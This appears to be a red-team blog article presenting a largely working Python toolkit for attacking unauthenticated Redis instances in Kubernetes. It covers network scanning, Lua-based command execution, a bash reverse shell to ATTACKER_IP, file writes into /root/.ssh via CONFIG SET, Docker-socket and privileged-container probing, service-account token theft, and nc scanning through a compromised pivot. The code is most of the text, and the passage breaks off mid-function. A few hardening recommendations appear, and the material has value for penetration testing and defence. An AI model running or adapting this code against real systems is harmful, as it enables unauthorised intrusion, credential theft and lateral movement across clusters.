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""Rediska" - a bad man" - Redis in Kubernetes Ecosystems: From Configuration Leaks to Lateral Movement in Red Team.

A comprehensive Red Team guide to Redis exploitation with AI-assisted result analysis

🎯 Introduction

In modern Kubernetes clusters, Redis is frequently deployed as a high-performance cache store, message queue, and temporary data storage solution. However, misconfigured Redis instances in containerized environments can become critical entry points for lateral movement across internal infrastructure. This article explores a real-world case study of Redis exploitation in Kubernetes environments, utilizing AI assistants for result analysis and attack vector automation.

πŸ” Threat Model: Redis in Kubernetes

Typical Architecture

In a typical Kubernetes cluster, Redis is deployed as:

apiVersion: v1
kind: Service
metadata:
  name: redis-service
spec:
  type: NodePort
  ports:
    - port: 6379
      nodePort: 32768
  selector:
    app: redis
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: redis
spec:
  replicas: 1
  selector:
    matchLabels:
      app: redis
  template:
    spec:
      containers:
      - name: redis
        image: redis:8.0.2
        ports:
        - containerPort: 6379
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Attack Surface

  • Unprotected Redis without authentication (requirepass)
  • NodePort exposure making Redis accessible externally
  • Pod-to-Pod communication in Docker bridge networks
  • Shared volumes and configurations between containers
  • Kubernetes API access through service accounts

πŸ› οΈ Methodology: AI-Assisted Redis Exploitation

Phase 1: Discovery & Classification

The first phase involves discovering Redis instances in the target network. We developed an automated script that uses AI for classifying discovered services:

#!/usr/bin/env python3
"""
Redis Infrastructure Discovery with AI Classification
Part of Red Team toolkit for Redis instance discovery and classification
"""

import redis
import nmap
import json
from dataclasses import dataclass
from typing import List, Dict, Optional
from concurrent.futures import ThreadPoolExecutor, as_completed

@dataclass
class RedisTarget:
    host: str
    port: int
    version: str
    config: Dict
    security_level: str
    exploitation_potential: float
    docker_evidence: List[str]
    kubernetes_indicators: List[str]

class AIRedisClassifier:
    """AI-enhanced Redis target classification"""

    def __init__(self):
        self.exploitation_weights = {
            'no_auth': 0.8,
            'config_writeable': 0.7,
            'lua_enabled': 0.6,
            'docker_container': 0.5,
            'k8s_environment': 0.9,
            'network_exposure': 0.4
        }

    def classify_target(self, target: RedisTarget) -> Dict:
        """AI-based target classification for exploitation prioritization"""

        score = 0.0
        attack_vectors = []

        # Authentication analysis
        if not target.config.get('requirepass'):
            score += self.exploitation_weights['no_auth']
            attack_vectors.append('no_authentication')

        # Configuration exploitation potential
        if target.config.get('protected-mode') == 'no':
            score += self.exploitation_weights['config_writeable']
            attack_vectors.append('config_modification')

        # Lua scripting capability
        if 'lua' in target.config.get('disabled-commands', '').lower():
            pass  # Lua disabled, lower score
        else:
            score += self.exploitation_weights['lua_enabled']
            attack_vectors.append('lua_rce')

        # Container environment detection
        if target.docker_evidence:
            score += self.exploitation_weights['docker_container']
            attack_vectors.append('container_escape')

        # Kubernetes environment detection
        if target.kubernetes_indicators:
            score += self.exploitation_weights['k8s_environment']
            attack_vectors.extend(['k8s_lateral_movement', 'service_discovery'])

        return {
            'exploitation_score': min(score, 1.0),
            'priority': self._get_priority(score),
            'attack_vectors': attack_vectors,
            'recommended_tools': self._get_recommended_tools(attack_vectors)
        }

    def _get_priority(self, score: float) -> str:
        if score >= 0.8: return 'CRITICAL'
        elif score >= 0.6: return 'HIGH'  
        elif score >= 0.4: return 'MEDIUM'
        else: return 'LOW'

    def _get_recommended_tools(self, vectors: List[str]) -> List[str]:
        tool_mapping = {
            'no_authentication': ['redis-cli', 'custom_lua_scripts'],
            'config_modification': ['redis_rce_exploit'],
            'lua_rce': ['lua_reverse_shell', 'lua_file_operations'],
            'container_escape': ['docker_socket_abuse', 'shared_volume_exploit'],
            'k8s_lateral_movement': ['kubectl_discovery', 'service_mesh_exploit']
        }

        tools = set()
        for vector in vectors:
            tools.update(tool_mapping.get(vector, []))
        return list(tools)

class RedisDiscovery:
    """Automated Redis discovery and reconnaissance"""

    def __init__(self, target_range: str):
        self.target_range = target_range
        self.classifier = AIRedisClassifier()
        self.discovered_targets = []

    def port_scan(self) -> List[tuple]:
        """Fast port scanning for Redis services"""
        print(f"[+] Scanning {self.target_range} for Redis services...")

        nm = nmap.PortScanner()
        redis_ports = [6379, 16379] + list(range(32000, 33000))  # Standard + NodePort range

        try:
            nm.scan(self.target_range, f"{','.join(map(str, redis_ports))}", 
                   arguments='-sS -T4 --open')

            targets = []
            for host in nm.all_hosts():
                for port in nm[host]['tcp']:
                    if nm[host]['tcp'][port]['state'] == 'open':
                        targets.append((host, port))

            return targets
        except Exception as e:
            print(f"[!] Scanning error: {e}")
            return []

    def probe_redis(self, host: str, port: int) -> Optional[RedisTarget]:
        """Deep Redis service probing"""
        try:
            r = redis.Redis(host=host, port=port, socket_timeout=5, decode_responses=True)

            # Basic connectivity test
            r.ping()

            # Gather intelligence
            info = r.info()
            config = r.config_get('*')

            # Docker/K8s environment detection
            docker_evidence = self._detect_docker_environment(r, info)
            k8s_indicators = self._detect_kubernetes_environment(r, info, host)

            target = RedisTarget(
                host=host,
                port=port,
                version=info.get('redis_version', 'unknown'),
                config=config,
                security_level='open',
                exploitation_potential=0.0,
                docker_evidence=docker_evidence,
                kubernetes_indicators=k8s_indicators
            )

            return target

        except redis.ConnectionError:
            return None
        except redis.ResponseError as e:
            # Might be password protected
            if 'NOAUTH' in str(e):
                return RedisTarget(
                    host=host, port=port, version='unknown', config={},
                    security_level='password_protected', exploitation_potential=0.1,
                    docker_evidence=[], kubernetes_indicators=[]
                )
        except Exception as e:
            print(f"[!] Error probing {host}:{port} - {e}")
            return None

    def _detect_docker_environment(self, redis_conn, info: Dict) -> List[str]:
        """Detect Docker container environment"""
        evidence = []

        # Container process indicators
        if info.get('process_id') == 1:
            evidence.append('pid_1_process')

        # Try to detect container filesystem
        try:
            result = redis_conn.eval("""
                local f = io.open('/.dockerenv', 'r')
                if f then f:close(); return 'docker_env_file' else return nil end
            """, 0)
            if result:
                evidence.append('docker_env_file')
        except:
            pass

        # Network interface detection
        if any('172.' in str(val) for val in info.values()):
            evidence.append('container_network')

        return evidence

    def _detect_kubernetes_environment(self, redis_conn, info: Dict, host: str) -> List[str]:
        """Detect Kubernetes environment indicators"""
        indicators = []

        # NodePort detection (30000-32767 range)
        port = int(host.split(':')[-1]) if ':' in host else 6379
        if 30000 <= port <= 32767:
            indicators.append('nodeport_service')

        # Service discovery attempts
        try:
            # Try to access Kubernetes API
            result = redis_conn.eval("""
                return redis.call('GET', 'kubernetes_service_host') or 'not_found'
            """, 0)
            if result != 'not_found':
                indicators.append('k8s_service_discovery')
        except:
            pass

        # Environment variable detection
        try:
            client_info = redis_conn.execute_command('CLIENT', 'LIST')
            if 'k8s' in str(client_info) or 'kubernetes' in str(client_info):
                indicators.append('k8s_client_naming')
        except:
            pass

        return indicators

    def run_discovery(self) -> List[Dict]:
        """Run complete Redis discovery pipeline"""
        print("[+] Starting AI-assisted Redis discovery...")

        # Phase 1: Port scanning
        potential_targets = self.port_scan()
        print(f"[+] Found {len(potential_targets)} potential Redis targets")

        # Phase 2: Service probing
        confirmed_targets = []
        with ThreadPoolExecutor(max_workers=20) as executor:
            future_to_target = {
                executor.submit(self.probe_redis, host, port): (host, port) 
                for host, port in potential_targets
            }

            for future in as_completed(future_to_target):
                target = future.result()
                if target:
                    confirmed_targets.append(target)

        print(f"[+] Confirmed {len(confirmed_targets)} Redis instances")

        # Phase 3: AI classification
        classified_results = []
        for target in confirmed_targets:
            classification = self.classifier.classify_target(target)

            result = {
                'target': target.__dict__,
                'classification': classification,
                'timestamp': self._get_timestamp()
            }
            classified_results.append(result)

        return classified_results

    def _get_timestamp(self) -> str:
        from datetime import datetime
        return datetime.now().isoformat()

if __name__ == "__main__":
    # Example usage for Red Team operations
    target_network = "10.218.218.0/24"  # Adjust for your target

    discovery = RedisDiscovery(target_network)
    results = discovery.run_discovery()

    # Output results for further exploitation
    with open('redis_targets.json', 'w') as f:
        json.dump(results, f, indent=2, default=str)

    # Priority targets summary
    critical_targets = [r for r in results if r['classification']['priority'] == 'CRITICAL']
    high_targets = [r for r in results if r['classification']['priority'] == 'HIGH']

    print(f"\n[!] CRITICAL targets: {len(critical_targets)}")
    print(f"[!] HIGH priority targets: {len(high_targets)}")
    print(f"[+] Full results saved to redis_targets.json")
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Phase 2: Exploitation Framework

After discovery and classification, the next phase involves developing a modular exploitation framework. Each module targets specific attack vectors:

#!/usr/bin/env python3
"""
Advanced Redis Exploitation Framework
Multi-vector Redis exploitation with container escape capabilities
"""

import redis
import base64
import json
import time
import threading
import subprocess
from abc import ABC, abstractmethod
from typing import Dict, List, Optional, Tuple
from dataclasses import dataclass

@dataclass
class ExploitResult:
    success: bool
    method: str
    output: str
    persistence: bool
    lateral_movement: bool
    evidence: List[str]

class RedisExploit(ABC):
    """Abstract base class for Redis exploitation modules"""

    def __init__(self, target_host: str, target_port: int):
        self.host = target_host
        self.port = target_port
        self.redis_conn = None
        self.exploit_name = self.__class__.__name__

    def connect(self) -> bool:
        """Establish Redis connection"""
        try:
            self.redis_conn = redis.Redis(
                host=self.host, 
                port=self.port, 
                socket_timeout=10,
                decode_responses=True
            )
            self.redis_conn.ping()
            return True
        except Exception as e:
            print(f"[!] Connection failed: {e}")
            return False

    @abstractmethod
    def exploit(self) -> ExploitResult:
        """Execute the exploitation logic"""
        pass

    def cleanup(self):
        """Clean up artifacts after exploitation"""
        pass

class LuaRCEExploit(RedisExploit):
    """Lua script-based Remote Code Execution"""

    def exploit(self) -> ExploitResult:
        if not self.connect():
            return ExploitResult(False, "LuaRCE", "Connection failed", False, False, [])

        # Test Lua capabilities
        lua_tests = [
            ("Command execution", "return os.execute('id')"),
            ("File operations", "local f = io.open('/etc/passwd', 'r'); if f then local content = f:read(100); f:close(); return content else return 'denied' end"),
            ("Network operations", "return redis.call('INFO', 'server')")
        ]

        evidence = []
        successful_payloads = []

        for test_name, lua_code in lua_tests:
            try:
                result = self.redis_conn.eval(lua_code, 0)
                if result and "nil value" not in str(result):
                    evidence.append(f"{test_name}: {str(result)[:100]}")
                    successful_payloads.append(test_name)
            except Exception as e:
                if "nonexistent global variable" not in str(e):
                    evidence.append(f"{test_name}: Error - {str(e)[:50]}")

        # Advanced payload: reverse shell
        if "Command execution" in successful_payloads:
            reverse_shell_success = self._attempt_reverse_shell()
            if reverse_shell_success:
                evidence.append("Reverse shell capability confirmed")
                return ExploitResult(True, "LuaRCE", "\n".join(evidence), True, True, evidence)

        success = len(successful_payloads) > 0
        return ExploitResult(success, "LuaRCE", "\n".join(evidence), False, success, evidence)

    def _attempt_reverse_shell(self) -> bool:
        """Attempt to establish reverse shell through Lua"""
        try:
            # Non-blocking reverse shell attempt
            payload = """
            local handle = io.popen('nohup bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" &')
            if handle then handle:close(); return 'shell_attempted' else return 'failed' end
            """

            result = self.redis_conn.eval(payload.replace('ATTACKER_IP', '127.0.0.1'), 0)
            return 'shell_attempted' in str(result)
        except:
            return False

class ConfigWriteExploit(RedisExploit):
    """Configuration-based file write exploitation"""

    def exploit(self) -> ExploitResult:
        if not self.connect():
            return ExploitResult(False, "ConfigWrite", "Connection failed", False, False, [])

        evidence = []

        # Test config modification capabilities
        try:
            current_dir = self.redis_conn.config_get('dir')
            evidence.append(f"Current dir: {current_dir}")

            # Attempt to change directory
            test_paths = ['/tmp', '/var/tmp', '/var/www/html', '/root/.ssh']

            for path in test_paths:
                try:
                    self.redis_conn.config_set('dir', path)
                    new_dir = self.redis_conn.config_get('dir')
                    if new_dir.get('dir') == path:
                        evidence.append(f"Directory change successful: {path}")

                        # Try to write a file
                        self.redis_conn.config_set('dbfilename', 'test_file.txt')
                        self.redis_conn.set('test_key', 'test_content_for_file_write')

                        try:
                            self.redis_conn.save()
                            evidence.append(f"File write successful: {path}/test_file.txt")

                            # Cleanup
                            self.redis_conn.delete('test_key')

                            return ExploitResult(True, "ConfigWrite", "\n".join(evidence), True, False, evidence)
                        except Exception as save_error:
                            evidence.append(f"Save failed: {save_error}")

                except Exception as config_error:
                    evidence.append(f"Config change failed for {path}: {config_error}")

        except Exception as e:
            evidence.append(f"Config exploitation failed: {e}")

        return ExploitResult(False, "ConfigWrite", "\n".join(evidence), False, False, evidence)

class ContainerEscapeExploit(RedisExploit):
    """Container escape through shared volumes and Docker socket"""

    def exploit(self) -> ExploitResult:
        if not self.connect():
            return ExploitResult(False, "ContainerEscape", "Connection failed", False, False, [])

        evidence = []

        # Detect container environment
        container_indicators = self._detect_container_environment()
        evidence.extend(container_indicators)

        if not container_indicators:
            return ExploitResult(False, "ContainerEscape", "Not in container environment", False, False, evidence)

        # Look for escape vectors
        escape_vectors = []

        # Docker socket abuse
        if self._test_docker_socket_access():
            escape_vectors.append("Docker socket accessible")
            evidence.append("Docker socket escape vector available")

        # Shared volume escape
        shared_volumes = self._find_shared_volumes()
        if shared_volumes:
            escape_vectors.extend([f"Shared volume: {vol}" for vol in shared_volumes])
            evidence.extend([f"Shared volume found: {vol}" for vol in shared_volumes])

        # Privileged container detection
        if self._detect_privileged_container():
            escape_vectors.append("Privileged container")
            evidence.append("Running in privileged container - direct host access possible")

        success = len(escape_vectors) > 0
        return ExploitResult(success, "ContainerEscape", "\n".join(evidence), success, success, evidence)

    def _detect_container_environment(self) -> List[str]:
        """Detect if running inside a container"""
        indicators = []

        try:
            # Check process ID (PID 1 usually indicates container)
            info = self.redis_conn.info('server')
            if info.get('process_id') == 1:
                indicators.append("PID 1 process (container indicator)")

            # Check for Docker environment file
            result = self.redis_conn.eval("""
                local f = io.open('/.dockerenv', 'r')
                if f then f:close(); return 'dockerenv_exists' else return 'not_found' end
            """, 0)
            if result == 'dockerenv_exists':
                indicators.append("Docker environment file found")

        except Exception as e:
            indicators.append(f"Container detection error: {e}")

        return indicators

    def _test_docker_socket_access(self) -> bool:
        """Test for Docker socket accessibility"""
        try:
            result = self.redis_conn.eval("""
                local handle = io.popen('ls -la /var/run/docker.sock 2>/dev/null')
                if handle then
                    local output = handle:read('*all')
                    handle:close()
                    return output
                end
                return 'not_accessible'
            """, 0)

            return 'docker.sock' in str(result) and 'not_accessible' not in str(result)
        except:
            return False

    def _find_shared_volumes(self) -> List[str]:
        """Find mounted volumes that might be shared with host"""
        volumes = []

        try:
            # Check common mount points
            mount_points = ['/host', '/proc', '/sys', '/dev', '/var/run', '/etc/hosts']

            for mount in mount_points:
                try:
                    result = self.redis_conn.eval(f"""
                        local f = io.open('{mount}', 'r')
                        if f then f:close(); return 'accessible' else return 'denied' end
                    """, 0)

                    if result == 'accessible':
                        volumes.append(mount)
                except:
                    continue

        except Exception as e:
            pass

        return volumes

    def _detect_privileged_container(self) -> bool:
        """Detect if container is running in privileged mode"""
        try:
            # Check for capabilities that indicate privileged mode
            result = self.redis_conn.eval("""
                local handle = io.popen('capsh --print 2>/dev/null | grep Current')
                if handle then
                    local caps = handle:read('*all')
                    handle:close()
                    return caps
                end
                return 'no_caps'
            """, 0)

            # Privileged containers have extensive capabilities
            return 'cap_sys_admin' in str(result).lower()
        except:
            return False

class KubernetesLateralMovement(RedisExploit):
    """Kubernetes-specific lateral movement techniques"""

    def exploit(self) -> ExploitResult:
        if not self.connect():
            return ExploitResult(False, "K8sLateralMovement", "Connection failed", False, False, [])

        evidence = []

        # Service discovery in Kubernetes
        services = self._discover_k8s_services()
        evidence.extend([f"K8s service discovered: {svc}" for svc in services])

        # Secret enumeration
        secrets = self._enumerate_secrets()
        evidence.extend([f"Secret found: {secret}" for secret in secrets])

        # Network reconnaissance
        network_info = self._k8s_network_recon()
        evidence.extend([f"Network intel: {info}" for info in network_info])

        # Service account token access
        sa_token = self._access_service_account_token()
        if sa_token:
            evidence.append(f"Service account token accessible: {sa_token[:50]}...")

        success = len(services) > 0 or len(secrets) > 0 or sa_token
        return ExploitResult(success, "K8sLateralMovement", "\n".join(evidence), success, success, evidence)

    def _discover_k8s_services(self) -> List[str]:
        """Discover Kubernetes services through Redis network visibility"""
        services = []

        try:
            # Check Redis client connections for service discovery
            clients = self.redis_conn.execute_command('CLIENT', 'LIST')

            # Extract IP addresses from client connections
            import re
            ip_pattern = r'addr=(\d+\.\d+\.\d+\.\d+):\d+'
            ips = re.findall(ip_pattern, str(clients))

            # Kubernetes services typically use specific IP ranges
            k8s_ips = [ip for ip in ips if ip.startswith(('10.', '172.', '192.168.'))]
            services.extend([f"K8s cluster IP: {ip}" for ip in k8s_ips])

        except Exception as e:
            services.append(f"Service discovery error: {e}")

        return services

    def _enumerate_secrets(self) -> List[str]:
        """Enumerate potential Kubernetes secrets"""
        secrets = []

        # Check for mounted service account tokens
        try:
            result = self.redis_conn.eval("""
                local f = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token', 'r')
                if f then
                    f:close()
                    return 'sa_token_found'
                else
                    return 'no_sa_token'
                end
            """, 0)

            if result == 'sa_token_found':
                secrets.append("Service account token mounted")
        except:
            pass

        # Look for other mounted secrets
        try:
            secret_paths = [
                '/var/run/secrets',
                '/etc/secrets',
                '/opt/secrets'
            ]

            for path in secret_paths:
                result = self.redis_conn.eval(f"""
                    local handle = io.popen('ls -la {path} 2>/dev/null')
                    if handle then
                        local output = handle:read('*all')
                        handle:close()
                        return output
                    end
                    return 'path_not_found'
                """, 0)

                if 'path_not_found' not in str(result):
                    secrets.append(f"Secret directory found: {path}")
        except:
            pass

        return secrets

    def _k8s_network_recon(self) -> List[str]:
        """Kubernetes network reconnaissance"""
        network_info = []

        try:
            # Get network interface information
            result = self.redis_conn.eval("""
                local handle = io.popen('ip addr show 2>/dev/null')
                if handle then
                    local output = handle:read('*all')
                    handle:close()
                    return output
                end
                return 'network_info_unavailable'
            """, 0)

            if 'network_info_unavailable' not in str(result):
                # Parse network interfaces for Kubernetes indicators
                if 'cni' in str(result) or 'flannel' in str(result) or 'calico' in str(result):
                    network_info.append("Kubernetes CNI detected")

                # Look for service mesh indicators
                if 'istio' in str(result) or 'linkerd' in str(result):
                    network_info.append("Service mesh detected")
        except:
            network_info.append("Network reconnaissance failed")

        return network_info

    def _access_service_account_token(self) -> Optional[str]:
        """Attempt to access Kubernetes service account token"""
        try:
            result = self.redis_conn.eval("""
                local f = io.open('/var/run/secrets/kubernetes.io/serviceaccount/token', 'r')
                if f then
                    local token = f:read('*all')
                    f:close()
                    return token
                else
                    return nil
                end
            """, 0)

            if result and len(str(result)) > 100:  # JWT tokens are typically longer
                return str(result)
        except:
            pass

        return None

class RedisExploitationFramework:
    """Main framework orchestrating multiple exploitation vectors"""

    def __init__(self, targets: List[Dict]):
        self.targets = targets
        self.exploit_modules = [
            LuaRCEExploit,
            ConfigWriteExploit, 
            ContainerEscapeExploit,
            KubernetesLateralMovement
        ]
        self.results = []

    def run_exploitation(self) -> Dict:
        """Execute all exploitation modules against all targets"""
        print("[+] Starting comprehensive Redis exploitation...")

        for target_data in self.targets:
            target = target_data['target']
            host = target['host']
            port = target['port']

            print(f"\n[*] Exploiting {host}:{port}")

            target_results = {
                'target': f"{host}:{port}",
                'exploits': {},
                'summary': {
                    'successful_exploits': 0,
                    'persistence_established': False,
                    'lateral_movement_possible': False
                }
            }

            for exploit_class in self.exploit_modules:
                exploit = exploit_class(host, port) 

                try:
                    result = exploit.exploit()
                    target_results['exploits'][exploit.exploit_name] = result.__dict__

                    if result.success:
                        target_results['summary']['successful_exploits'] += 1
                        print(f"  [+] {exploit.exploit_name}: SUCCESS")

                        if result.persistence:
                            target_results['summary']['persistence_established'] = True
                        if result.lateral_movement:
                            target_results['summary']['lateral_movement_possible'] = True
                    else:
                        print(f"  [-] {exploit.exploit_name}: Failed")

                    exploit.cleanup()

                except Exception as e:
                    print(f"  [!] {exploit.exploit_name}: Error - {e}")
                    target_results['exploits'][exploit.exploit_name] = {
                        'success': False,
                        'error': str(e)
                    }

            self.results.append(target_results)

        return self._generate_summary()

    def _generate_summary(self) -> Dict:
        """Generate exploitation summary"""
        summary = {
            'total_targets': len(self.targets),
            'successfully_exploited': 0,
            'persistence_established': 0,
            'lateral_movement_vectors': 0,
            'critical_findings': [],
            'recommendations': []
        }

        for result in self.results:
            if result['summary']['successful_exploits'] > 0:
                summary['successfully_exploited'] += 1

            if result['summary']['persistence_established']:
                summary['persistence_established'] += 1
                summary['critical_findings'].append(f"Persistence established on {result['target']}")

            if result['summary']['lateral_movement_possible']:
                summary['lateral_movement_vectors'] += 1
                summary['critical_findings'].append(f"Lateral movement possible from {result['target']}")

        # Generate recommendations
        if summary['successfully_exploited'] > 0:
            summary['recommendations'].extend([
                "Implement Redis authentication (requirepass)",
                "Enable protected mode",
                "Restrict network access with firewall rules",
                "Disable dangerous Lua functions if not needed",
                "Regular security audits of Redis configurations"
            ])

        if summary['persistence_established'] > 0:
            summary['recommendations'].extend([
                "Monitor file system changes",
                "Implement container runtime security",
                "Use read-only container filesystems where possible"
            ])

        if summary['lateral_movement_vectors'] > 0:
            summary['recommendations'].extend([
                "Implement network segmentation",
                "Use Kubernetes Network Policies",
                "Regular rotation of service account tokens",
                "Container image scanning and hardening"
            ])

        return summary

if __name__ == "__main__":
    # Load targets from discovery phase
    try:
        with open('redis_targets.json', 'r') as f:
            targets = json.load(f)

        # Filter for high-priority targets
        high_priority = [t for t in targets if t['classification']['priority'] in ['CRITICAL', 'HIGH']]

        if not high_priority:
            print("[!] No high-priority targets found. Using all targets.")
            high_priority = targets

        # Run exploitation framework
        framework = RedisExploitationFramework(high_priority)
        results = framework.run_exploitation()

        # Save results
        with open('exploitation_results.json', 'w') as f:
            json.dump({
                'summary': results,
                'detailed_results': framework.results
            }, f, indent=2, default=str)

        # Display summary
        print("\n" + "="*60)
        print("EXPLOITATION SUMMARY")
        print("="*60)
        print(f"Total targets: {results['total_targets']}")
        print(f"Successfully exploited: {results['successfully_exploited']}")
        print(f"Persistence established: {results['persistence_established']}")
        print(f"Lateral movement vectors: {results['lateral_movement_vectors']}")

        if results['critical_findings']:
            print(f"\nCritical findings:")
            for finding in results['critical_findings']:
                print(f"  - {finding}")

        print(f"\nDetailed results saved to exploitation_results.json")

    except FileNotFoundError:
        print("[!] redis_targets.json not found. Run discovery script first.")
    except Exception as e:
        print(f"[!] Exploitation framework error: {e}")
Enter fullscreen mode Exit fullscreen mode

Phase 3: Lateral Movement & Network Mapping

The final phase involves using the compromised Redis as a pivot point for lateral movement and internal network mapping:

#!/usr/bin/env python3
"""
Kubernetes Network Lateral Movement via Compromised Redis
Advanced post-exploitation for container environments
"""

import redis
import json
import socket
import threading
import time
import requests
import base64
from concurrent.futures import ThreadPoolExecutor
from typing import Dict, List, Optional, Tuple
from dataclasses import dataclass

@dataclass
class NetworkTarget:
    ip: str
    ports: List[int]
    services: Dict[str, str]
    k8s_indicators: List[str]
    exploitation_potential: float

class RedisNetworkPivot:
    """Use compromised Redis as network pivot point"""

    def __init__(self, redis_host: str, redis_port: int):
        self.redis_host = redis_host
        self.redis_port = redis_port
        self.redis_conn = None
        self.discovered_networks = []
        self.pivot_capabilities = {}

    def establish_pivot(self) -> bool:
        """Establish Redis as pivot point"""
        try:
            self.redis_conn = redis.Redis(
                host=self.redis_host, 
                port=self.redis_port,
                decode_responses=True,
                socket_timeout=30
            )
            self.redis_conn.ping()

            # Test pivot capabilities
            self.pivot_capabilities = self._test_pivot_capabilities()
            return True

        except Exception as e:
            print(f"[!] Failed to establish pivot: {e}")
            return False

    def _test_pivot_capabilities(self) -> Dict:
        """Test what pivot capabilities are available"""
        capabilities = {
            'lua_execution': False,
            'network_access': False,
            'file_operations': False,
            'command_execution': False,
            'docker_socket': False
        }

        # Test Lua execution
        try:
            result = self.redis_conn.eval("return 'lua_test'", 0)
            capabilities['lua_execution'] = 'lua_test' in str(result)
        except:
            pass

        # Test network access via client monitoring
        try:
            clients = self.redis_conn.execute_command('CLIENT', 'LIST')
            capabilities['network_access'] = len(str(clients)) > 50
        except:
            pass

        # Test file operations
        if capabilities['lua_execution']:
            try:
                result = self.redis_conn.eval("""
                    local f = io.open('/proc/version', 'r')
                    if f then f:close(); return 'file_access' else return 'no_access' end
                """, 0)
                capabilities['file_operations'] = 'file_access' in str(result)
            except:
                pass

        # Test command execution
        if capabilities['lua_execution']:
            try:
                result = self.redis_conn.eval("""
                    local handle = io.popen('echo test_command')
                    if handle then
                        local output = handle:read('*all')
                        handle:close()
                        return output
                    end
                    return 'no_exec'
                """, 0)
                capabilities['command_execution'] = 'test_command' in str(result)
            except:
                pass

        # Test Docker socket access
        if capabilities['command_execution']:
            try:
                result = self.redis_conn.eval("""
                    local handle = io.popen('ls -la /var/run/docker.sock 2>/dev/null')
                    if handle then
                        local output = handle:read('*all')
                        handle:close()
                        return output
                    end
                    return 'no_docker_socket'
                """, 0)
                capabilities['docker_socket'] = 'docker.sock' in str(result)
            except:
                pass

        return capabilities

    def network_discovery(self) -> List[NetworkTarget]:
        """Discover network topology through Redis pivot"""
        print("[+] Starting network discovery via Redis pivot...")

        discovered_targets = []

        # Method 1: Client connection analysis
        client_targets = self._analyze_client_connections()
        discovered_targets.extend(client_targets)

        # Method 2: Active network scanning via Lua
        if self.pivot_capabilities.get('command_execution'):
            scan_targets = self._lua_network_scan()
            discovered_targets.extend(scan_targets)

        # Method 3: Docker network enumeration
        if self.pivot_capabilities.get('docker_socket'):
            docker_targets = self._enumerate_docker_network()
            discovered_targets.extend(docker_targets)

        # Method 4: Kubernetes service discovery  
        k8s_targets = self._kubernetes_service_discovery()
        discovered_targets.extend(k8s_targets)

        # Deduplicate targets
        unique_targets = self._deduplicate_targets(discovered_targets)

        return unique_targets

    def _analyze_client_connections(self) -> List[NetworkTarget]:
        """Analyze Redis client connections for network intel"""
        targets = []

        try:
            # Monitor connections over time to catch ephemeral services
            all_clients = set()

            print("  [*] Monitoring Redis connections for 30 seconds...")
            for i in range(30):
                try:
                    clients = self.redis_conn.execute_command('CLIENT', 'LIST')

                    # Extract IP addresses
                    import re
                    connections = re.findall(r'addr=(\d+\.\d+\.\d+\.\d+):(\d+)', str(clients))
                    all_clients.update(connections)

                    time.sleep(1)
                except:
                    continue

            print(f"  [+] Found {len(all_clients)} unique connections")

            # Convert to NetworkTarget objects
            for ip, port in all_clients:
                if not ip.startswith(('127.', '0.0.0')):
                    target = NetworkTarget(
                        ip=ip,
                        ports=[int(port)],
                        services={},
                        k8s_indicators=[],
                        exploitation_potential=0.3
                    )
                    targets.append(target)

        except Exception as e:
            print(f"  [!] Client analysis failed: {e}")

        return targets

    def _lua_network_scan(self) -> List[NetworkTarget]:
        """Use Lua scripts to perform network scanning"""
        targets = []

        if not self.pivot_capabilities.get('command_execution'):
            return targets

        print("  [*] Performing Lua-based network scan...")

        # Discover local network ranges
        network_ranges = self._discover_network_ranges()

        for network in network_ranges:
            print(f"    Scanning {network}...")

            # Scan common service ports
            common_ports = [22, 80, 443, 6379, 8080, 10250, 6443, 2375, 3000]

            for port in common_ports:
                try:
                    # Use Lua to perform network connectivity tests
                    lua_script = f"""
                    local handle = io.popen('timeout 2 nc -z {network} {port} 2>&1')
                    if handle then
                        local result = handle:read('*all')
                        handle:close()
                        if string.find(result, 'succeeded') or string.find(result, 'open') then
                            return 'port_open'
                        else
                            return 'port_closed'
                        end
                    end
                    return 'scan_failed'
                    """

                    result = self.redis_conn.eval(lua_script, 0)

                    if 'port_open' in str(result):
                        # Create or update target
                        existing_target = next((t for t in targets if t.ip == network), None)
                        if existing_target:
                            existing_target.ports.append(port)
                        else:
                            target = NetworkTarget(
                                ip=network,
                                ports=[port],
                                services={},
                                k8s_indicators=[],
                                exploitation_potential=0.5
                            )
                            targets.append(target)

                except Exception as e:
                    continue

        return targets

    def _discover_network_ranges(self) -> List[str]:
        """Discover local network ranges through routing table analysis"""
        ranges = []

        try:
            # Get routing information
            result = self.redis_conn.eval("""
                local handle = io.popen('ip route show 2>/dev/null')
                if handle then
                    local routes = handle:read('*all')
                    handle:close()
                    return routes
                end
                return 'no_routes'
            """, 0)

            if 'no_routes' not in str(result):
                # Parse network ranges from routing table
                import re
                networks = re.findall(r'(\d+\.\d+\.\d+\.\d+/\d+)', str(result))

                # Filter for private networks
                private_networks = []
                for network in networks:
                    if any(network.startswith(prefix) for prefix in ['10.', '172.', '192.168.']):
                        # Convert CIDR to IP range (simplified)
                        base_ip = network.split('/')[0]
                        base_parts = base_ip.split('.')

                        # Generate scanning targets (first 20 IPs of each network)
                        for i in range(1, 21):
                            target_ip = f"{base_parts[0]}.{base_parts[1]}.{base_parts[2]}.{i}"
                            private_networks.append(target_ip)

                ranges.extend(private_networks)

        except Exception as e:
            print(f"    [!] Network range discovery failed: {e}")

        # Fallback to common private ranges if discovery failed
        if not ranges:
            ranges = [f"172.17.0.{i}" for i in range(1, 10)]  # Common Docker range
            ranges.extend([f"10.244.0.{i}" for i in range(1, 10)])  # Common K8s range

        return ranges

    def _enumerate_docker_network(self) -> List[NetworkTarget]:
        """Enumerate Docker network through socket access"""
        targets = []

        if not self.pivot_capabilities.get('docker_socket'):
            return targets

        print("  [*] Enumerating Docker network...")

        try:
            # Get Docker network information
            result = self.redis_conn.eval("""
                local handle = io.popen('docker network ls 2>/dev/null')
                if handle then
                    local networks = handle:read('*all')
                    handle:close()
                    return networks
                end
                return 'no_docker_access'
            """, 0)

            if 'no_docker_access' not in str(result):
                print(f"    [+] Docker networks found: {str(result)[:200]}...")

                # Get container information
                container_result = self.redis_conn.eval("""
                    local handle = io.popen('docker ps --format "table {{.Names}}\\t{{.Ports}}" 2>/dev/null')
                    if handle then
                        local containers = handle:read('*all')
                        handle:close()
                        return containers
                    end
                    return 'no_containers'
                """, 0)

                if 'no_containers' not in str(container_result):
                    print(f"    [+] Running containers: {str(container_result)[:200]}...")

                    # Parse container ports and create targets
                    import re
                    port_mappings = re.findall(r'(\d+\.\d+\.\d+\.\d+):(\d+)', str(container_result))

                    for ip, port in port_mappings:
                        target = NetworkTarget(
